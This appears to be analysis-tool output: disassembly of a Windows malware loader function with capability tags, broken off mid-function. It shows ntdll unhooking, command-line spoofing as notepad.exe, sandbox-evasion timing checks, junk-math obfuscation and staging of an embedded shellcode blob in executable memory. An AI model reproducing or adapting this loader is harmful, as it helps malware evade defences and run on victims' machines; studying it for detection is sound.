Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x938
lea rbp, [rsp + 0x80]
movups xmmword [rbp + 0x8a0], xmm6
mov dword [rbp + 0x8e0], ecx
mov qword [rbp + 0x8e8], rdx
call fcn.140002e90
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x828], rax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x820], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov qword [rbp + 0x818], rax
lea rax, str.psapi.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
mov ecx, 0x1718
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x810], rax
mov ecx, 0x1718
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x808], rax
mov dword [rbp + 0x894], 0
jmp 0x1400015b5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
pxor xmm6, xmm6
cvtsi2sd xmm6, edx
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffffea0ea0eb
shr rdx, 0x20
add edx, eax
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x46
sub eax, ecx
mov edx, eax
pxor xmm1, xmm1
cvtsi2sd xmm1, edx
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x810]
add rax, rdx
divsd xmm6, xmm1
movupd xmm0, xmm6
movsd qword [rax], xmm0
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x2e2
jle 0x14000152b
mov dword [rbp + 0x894], 0
jmp 0x140001623
mov eax, dword [rbp + 0x894]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x810]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x894]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x808]
lea rbx, [rcx + rdx]
movq xmm0, rax
call fcn.140003fc0
movq rax, xmm0
mov qword [rbx], rax
add dword [rbp + 0x894], 1
cmp dword [rbp + 0x894], 0x2e2
jle 0x1400015d1
cmp qword [rbp + 0x898], 0
jne 0x140001669
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov rcx, rax
lea rax, str.GetModuleInformation
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x898], rax
cmp qword [rbp + 0x898], 0
je 0x140001cd2
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x630]
mov rax, qword [rbp + 0x818]
mov r10, qword [rbp + 0x898]
mov r9d, 0x18
mov r8, rdx
mov rdx, rax
call r10
mov dword [rbp + 0x804], 0
mov ecx, 0x25a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f8], rax
mov ecx, 0x25a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7f0], rax
mov ecx, 0x25a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7e8], rax
mov dword [rbp + 0x890], 0
jmp 0x1400017dd
mov dword [rbp + 0x88c], 0
jmp 0x1400017c9
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x890]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x7f8]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x88c]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x1f4
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x890]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 5
mov rcx, rax
mov rax, qword [rbp + 0x7f0]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x88c]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x37
jle 0x140001702
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x2a
jle 0x1400016f3
mov dword [rbp + 0x890], 0
jmp 0x1400018d5
mov dword [rbp + 0x88c], 0
jmp 0x1400018c1
mov eax, dword [rbp + 0x890]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7f8]
add rdx, rax
mov eax, dword [rbp + 0x88c]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x890]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7f0]
add rdx, rax
mov eax, dword [rbp + 0x88c]
cdqe
movss xmm1, dword [rdx + rax*4]
divss xmm0, xmm1
pxor xmm3, xmm3
cvtss2sd xmm3, xmm0
movq rax, xmm3
movq xmm0, rax
call fcn.140003e80
mov eax, dword [rbp + 0x890]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 5
mov rdx, rax
mov rax, qword [rbp + 0x7e8]
add rdx, rax
cvtsd2ss xmm0, xmm0
mov eax, dword [rbp + 0x88c]
cdqe
movss dword [rdx + rax*4], xmm0
add dword [rbp + 0x88c], 1
cmp dword [rbp + 0x88c], 0x37
jle 0x140001808
add dword [rbp + 0x890], 1
cmp dword [rbp + 0x890], 0x2a
jle 0x1400017f9
mov rax, qword [rbp + 0x7f8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7f0]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x7e8]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x630]
mov qword [rbp + 0x7e0], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, str.c:windows_system32_ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x7d8], rax
mov rax, qword [rbp + 0x7d8]
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x1000002
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileMappingA]
call rax
mov qword [rbp + 0x7d0], rax
mov rax, qword [rbp + 0x7d0]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 4
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_MapViewOfFile]
call rax
mov qword [rbp + 0x7c8], rax
mov rax, qword [rbp + 0x7e0]
mov qword [rbp + 0x7c0], rax
mov rax, qword [rbp + 0x7c0]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rdx
mov qword [rbp + 0x7b8], rax
mov ecx, 0x1c0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x7b0], rax
mov dword [rbp + 0x888], 0
jmp 0x140001a67
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x888]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x7b0]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x68db8bad
shr rdx, 0x20
sar edx, 0xc
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x2710
sub eax, ecx
mov edx, eax
mov dword [r8], edx
add dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x6f
jle 0x140001a1a
mov dword [rbp + 0x888], 0
jmp 0x140001b54
cmp dword [rbp + 0x888], 0
je 0x140001ac4
mov eax, dword [rbp + 0x888]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov edx, dword [rax]
mov eax, dword [rbp + 0x888]
cdqe
lea rcx, [rax*4]
mov rax, qword [rbp + 0x7b0]
add rax, rcx
mov eax, dword [rax]
cmp edx, eax
jg 0x140001ad0
add dword [rbp + 0x888], 1
jmp 0x140001b54
mov eax, dword [rbp + 0x888]
cdqe
shl rax, 2
lea rdx, [rax - 4]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov eax, dword [rax]
mov dword [rbp + 0x7a4], eax
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b0]
add rax, rdx
mov edx, dword [rbp + 0x888]
movsxd rdx, edx
shl rdx, 2
lea rcx, [rdx - 4]
mov rdx, qword [rbp + 0x7b0]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x888]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x7b0]
add rdx, rax
mov eax, dword [rbp + 0x7a4]
mov dword [rdx], eax
sub dword [rbp + 0x888], 1
cmp dword [rbp + 0x888], 0x6f
jle 0x140001a7f
mov rax, qword [rbp + 0x7b0]
mov rcx, rax
call sub.msvcrt.dll_free
mov word [rbp + 0x886], 0
jmp 0x140001cba
mov rax, qword [rbp + 0x7b8]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x7b8]
lea rcx, [rdx + rax]
movzx edx, word [rbp + 0x886]
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
add rax, rcx
add rax, 0x18
mov qword [rbp + 0x7a8], rax
mov rax, qword [rbp + 0x7a8]
lea rdx, str..text
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140001ca9
mov dword [rbp + 0x5f8], 0
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov edx, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, 0x40
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r8d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp + 0x7c8]
add rax, rdx
mov rdx, rax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
call sub.msvcrt.dll_memcpy
mov edx, dword [rbp + 0x5f8]
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 8]
mov r10d, eax
mov rax, qword [rbp + 0x7a8]
mov eax, dword [rax + 0xc]
mov ecx, eax
mov rax, qword [rbp + 0x7e0]
add rax, rcx
mov rcx, rax
lea rax, [rbp + 0x5f8]
mov r9, rax
mov r8d, edx
mov rdx, r10
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
movzx eax, word [rbp + 0x886]
add eax, 1
mov word [rbp + 0x886], ax
mov rax, qword [rbp + 0x7b8]
movzx eax, word [rax + 6]
cmp word [rbp + 0x886], ax
jb 0x140001b7e
mov dword [rbp + 0x880], 0xffffffff
pxor xmm0, xmm0
movsd qword [rbp + 0x878], xmm0
add dword [rbp + 0x880], 1
pxor xmm1, xmm1
cvtsi2sd xmm1, dword [rbp + 0x880]
movsd xmm0, qword [0x140007658]
addsd xmm0, xmm1
mov rax, qword [0x140007660]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140004340
movq rax, xmm0
pxor xmm0, xmm0
cvtsi2sd xmm0, dword [rbp + 0x880]
addsd xmm0, xmm0
movsd xmm2, qword [0x140007658]
movupd xmm1, xmm0
subsd xmm1, xmm2
movq xmm0, rax
divsd xmm0, xmm1
movsd xmm1, qword [rbp + 0x878]
addsd xmm0, xmm1
movsd qword [rbp + 0x878], xmm0
cmp dword [rbp + 0x880], 0x34d
jle 0x140001ce8
movsd xmm1, qword [rbp + 0x878]
movsd xmm0, qword [0x140007668]
mulsd xmm0, xmm1
movsd qword [rbp + 0x878], xmm0
mov ecx, 0x9e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x798], rax
mov ecx, 0x9e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x790], rax
mov ecx, 0x9e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x788], rax
mov ecx, 0x9e8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x780], rax
mov dword [rbp + 0x870], 0x279
mov dword [rbp + 0x874], 0
jmp 0x140001ef3
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x798]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
call sub.msvcrt.dll_rand
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x790]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x798]
add rax, rdx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x788]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
mov eax, dword [rbp + 0x870]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x790]
add rax, rdx
mov edx, dword [rbp + 0x874]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x780]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x870], 1
add dword [rbp + 0x874], 1
cmp dword [rbp + 0x874], 0x279
jle 0x140001de7
mov rax, qword [rbp + 0x798]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x790]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x788]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x780]
mov rcx, rax
call sub.msvcrt.dll_free
mov dword [rbp + 0x5fc], 0
mov rax, qword [rbp + 0x828]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x778], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp + 0x600]
lea rax, [rbp + 0x5fc]
mov qword [rsp + 0x20], rax
mov rax, qword [rbp + 0x778]
mov r9d, 0x30
mov r8, rdx
mov edx, 0
call rax
mov rax, qword [rbp + 0x608]
add rax, 0x3c
mov qword [rbp + 0x770], rax
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x78], rdx
mov rax, qword [rbp + 0x770]
lea rdx, str.C:_windows_system32_notepad.exe
mov qword [rax + 0x68], rdx
mov qword [rbp + 0x768], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x760], rax
mov rax, qword [rbp + 0x760]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x16c2e80
mov ecx, 0
call rax
mov qword [rbp + 0x768], rax
cmp qword [rbp + 0x768], 0
je 0x140002dbd
mov rax, qword [rbp + 0x768]
mov edx, 0x16c2e80
mov rcx, rax
call fcn.140004ff0
mov rax, qword [rbp + 0x768]
mov r8d, 0x8000
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFree]
call rax
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x758], rax
cmp qword [rbp + 0x758], 0
je 0x140002dbd
mov rax, qword [rbp + 0x758]
mov edx, 0x4c2
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x754], eax
mov qword [rbp + 0x868], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x748], rax
cmp qword [rbp + 0x748], 0
je 0x140002156
mov rax, qword [rbp + 0x748]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x740], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x740]
mov r9d, 0x3000
mov r8d, 0x48c
mov edx, 0
call rax
mov qword [rbp + 0x868], rax
cmp qword [rbp + 0x868], 0
je 0x140002dbd
mov qword [rbp + 0x738], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x730], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x730]
mov r9d, 0x3000
mov r8d, 0x2d0
mov edx, 0
call rax
mov qword [rbp + 0x738], rax
cmp qword [rbp + 0x738], 0
je 0x140002dbd
mov dword [rbp + 0x72c], 0x3de
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.GetTickCount
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x720], rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x71c], eax
mov eax, dword [rbp + 0x72c]
mov edx, 0
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_SleepEx]
call rax
mov rax, qword [rbp + 0x720]
call rax
mov dword [rbp + 0x718], eax
mov eax, dword [rbp + 0x718]
sub eax, dword [rbp + 0x71c]
cmp eax, 0x3ac
jbe 0x140002dbd
mov r9d, 0
mov r8d, 0
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateEventA]
call rax
mov qword [rbp + 0x710], rax
cmp qword [rbp + 0x710], 0
je 0x140002dbd
mov rax, qword [rbp + 0x710]
mov edx, 0x59f
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov dword [rbp + 0x70c], eax
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x700], rax
mov rax, qword [rbp + 0x700]
mov ecx, 0
call rax
mov dword [rbp + 0x6fc], eax
cmp dword [rbp + 0x6fc], 0xffffffff
je 0x140002dbd
mov qword [rbp + 0x860], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x6f0], rax
cmp qword [rbp + 0x6f0], 0
je 0x14000239f
mov rax, qword [rbp + 0x6f0]
lea rdx, str.VirtualAllocExNuma
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6e8]
mov r9d, 0x3000
mov r8d, 0x38b
mov edx, 0
call rax
mov qword [rbp + 0x860], rax
cmp qword [rbp + 0x860], 0
je 0x140002dbd
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.FlsAlloc
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6e0], rax
mov rax, qword [rbp + 0x6e0]
mov ecx, 0
call rax
mov dword [rbp + 0x6dc], eax
cmp dword [rbp + 0x6dc], 0xffffffff
je 0x140002dbd
mov qword [rbp + 0x6d0], 0
lea rax, str.kernel32.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, str.VirtualAllocExNuma
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6c8], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov rax, qword [rbp + 0x6c8]
mov r9d, 0x3000
mov r8d, 0x398
mov edx, 0
call rax
mov qword [rbp + 0x6d0], rax
cmp qword [rbp + 0x6d0], 0
je 0x140002dbd
lea rax, [rbp + 0xc0]
lea rdx, [0x140007128]
mov ecx, 0xa5
mov rdi, rax
mov rsi, rdx
rep movsq qword [rdi], qword [rsi]
mov rdx, rsi
mov rax, rdi
movzx ecx, byte [rdx]
mov byte [rax], cl
mov dword [rbp + 0x85c], 0xffffffff
add dword [rbp + 0x85c], 1
call sub.msvcrt.dll_rand
imul eax, eax, 0x295
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140007670]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004170
movq rax, xmm0
mov qword [rbp + 0x6c0], rax
cmp dword [rbp + 0x85c], 0x19a
jle 0x1400024b5
mov dword [rbp + 0x858], 0
jmp 0x14000254f
call sub.msvcrt.dll_rand
imul eax, eax, 0x223
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
movsd xmm1, qword [0x140007670]
divsd xmm0, xmm1
movq rax, xmm0
movq xmm0, rax
call fcn.140004170
movq rax, xmm0
mov qword [rbp + 0x648], rax
add dword [rbp + 0x858], 1
cmp dword [rbp + 0x858], 0x10d
jle 0x14000250e
mov rax, qword [rbp + 0x820]
lea rdx, str.HeapCreate
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b8], rax
mov rax, qword [rbp + 0x820]
lea rdx, str.HeapAlloc
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x6b0], rax
mov rax, qword [rbp + 0x6b8]
mov r8d, 0
mov edx, 0x528
mov ecx, 0x40000
call rax
mov qword [rbp + 0x6a8], rax
mov rax, qword [rbp + 0x6a8]
mov r9, qword [rbp + 0x6b0]
mov r8d, 0x528
mov edx, 8
mov rcx, rax
call r9
mov qword [rbp + 0x6a0], rax
mov rax, qword [rbp + 0x828]
lea rdx, str.RtlMoveMemory
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x698], rax
lea rdx, [rbp + 0xc0]
mov rax, qword [rbp + 0x6a0]
mov r9, qword [rbp + 0x698]
mov r8d, 0x528
mov rcx, rax
call r9
mov dword [rbp + 0x854], 0
mov qword [rbp + 0x848], 0
mov dword [rbp + 0x694], 0x251
mov dword [rbp + 0x850], 1
jmp 0x140002666
mov eax, dword [rbp + 0x850]
cdqe
add qword [rbp + 0x848], rax
add dword [rbp + 0x850], 1
mov eax, dword [rbp + 0x850]
cmp eax, dword [rbp + 0x694]
jle 0x140002650
mov dword [rbp + 0x844], 0
mov dword [rbp + 0x840], 0
movabs rax, 0x4f304696ee3c5227
movabs rdx, 0x1a96023776ced5ec
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xc325e1245a5ed8e4
movabs rdx, 0xf0b9a5f1340168ea
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x67f686d0fc989386
movabs rdx, 0xd68fa81f1217ec89
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x913874e9f1e24c4d
movabs rdx, 0x272029ac13ac00f6
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x5aaa33680c6277bb
movabs rdx, 0xae2aafebfa7a5b0
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0x267c0ae2aafebfa7
movabs rdx, 0xffbbf5809561a1
mov qword [rbp + 0xaa], rax
mov qword [rbp + 0xb2], rdx
movabs rax, 0x3a450c657b607bd6
movabs rdx, 0xac326158e0eca651
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x8a5a00c9232c779e
movabs rdx, 0x51cbfb0db3932684
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x47ead6631afb8700
movabs rdx, 0xe0aa67e91c79b41c
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0xd00568cecc1adfe0
movabs rdx, 0xef35df51dec47c
mov qword [rbp - 0x11], rax
mov qword [rbp - 9], rdx
jmp 0x140002a73
mov ecx, 0x1880
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov ecx, 0x1880
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x658], rax
mov ecx, 0x1880
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x650], rax
mov dword [rbp + 0x83c], 0
jmp 0x1400028e9
mov dword [rbp + 0x838], 0
jmp 0x1400028d5
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x83c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x660]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rcx + rax*4], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x10624dd3
shr rdx, 0x20
sar edx, 6
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x3e8
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x83c]
movsxd rcx, eax
mov rax, rcx
shl rax, 3
sub rax, rcx
shl rax, 4
mov rcx, rax
mov rax, qword [rbp + 0x658]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x838]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x838], 1
cmp dword [rbp + 0x838], 0x1b
jle 0x14000280e
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x37
jle 0x1400027ff
mov dword [rbp + 0x83c], 0
jmp 0x1400029c6
mov dword [rbp + 0x838], 0
jmp 0x1400029b2
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm1, dword [rdx + rax*4]
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
shl rax, 4
mov rdx, rax
mov rax, qword [rbp + 0x658]
add rdx, rax
mov eax, dword [rbp + 0x838]
cdqe
movss xmm0, dword [rdx + rax*4]
mov eax, dword [rbp + 0x83c]
movsxd rdx, eax
mov rax, rdx
shl rax, 3
sub rax, rdx
